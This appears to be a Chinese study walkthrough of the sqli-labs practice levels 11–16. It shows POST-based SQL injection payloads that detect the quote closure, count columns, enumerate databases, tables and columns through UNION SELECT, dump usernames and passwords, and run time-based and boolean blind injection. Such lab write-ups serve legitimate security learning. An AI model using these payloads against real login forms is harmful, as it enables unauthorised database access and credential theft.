为便于学习构造SQL语句的方式,需在每个less下的index.php文件中添加输出SQL语句的代码:
less11:
本关使用Post请求传输数据,所以需先使用burpsuite抓包,将Post的数据copy到hackbar中的Post Data中执行以便于SQL注入
输入uname=admin'报错,输入uname=admin'#正确,说明存在SQL注入,闭合方式为''
科普:Get请求中用--+注释,Post请求中用#注释
使用order by判断列数,输入uname=admin' order by 2#正确,说明表中有2列数据
使用union select联合查询,输入uname=edg' union select 1,schema_name from information_schema.schemata limit 4,1#,输出第5个数据库名为security
使用concat_ws()和group_concat()函数拼接输出所有数据库名:
输入uname=edg' union select 1,group_concat(concat_ws(schema_name,0x7e,0x7e)) from information_schema.schemata#
使用concat_ws()和group_concat()函数拼接输出指定数据库的所有表名:
输入uname=edg' union select 1,group_concat(concat_ws(table_name,0x7e,0x7e)) from information_schema.tables where table_schema=security#
使用concat_ws()和group_concat()函数拼接输出指定表的所有列名:
输入uname=edg' union select 1,group_concat(concat_ws(column_name,0x7e,0x7e)) from information_schema.columns where table_name='users'#
使用concat_ws()和group_concat()函数拼接输出指定列的所有数据:
输入uname=edg' union select 1,group_concat(username,0x7e,password) from security.users#
less12:
输入uname=admin")报错,输入uname=admin")#正确,说明存在SQL注入,闭合方式为(""),其余与less11同理
less13:
输入uname=admin')报错,输入uname=admin')#正确,说明存在SQL注入,闭合方式为('')
时间盲注:输入uname=admin') and if(length(database())=8,1,sleep(10))#正确,判断当前数据库名长度为8
布尔盲注:输入uname=admin') and left((select schema_name from information_schema.schemata limit 4,1),1)='s'#正确,判断第5个数据库名从左数第一位为s
less14:
输入uname=admin"报错,输入uname=admin"#正确,说明存在SQL注入,闭合方式为"",其余与less11同理
less15:
输入uname=admin'报错,输入uname=admin'#正确,说明存在SQL注入,闭合方式为'',其余与less11同理
less16:
输入uname=admin")报错,输入uname=admin")#正确,说明存在SQL注入,闭合方式为(""),其余与less11同理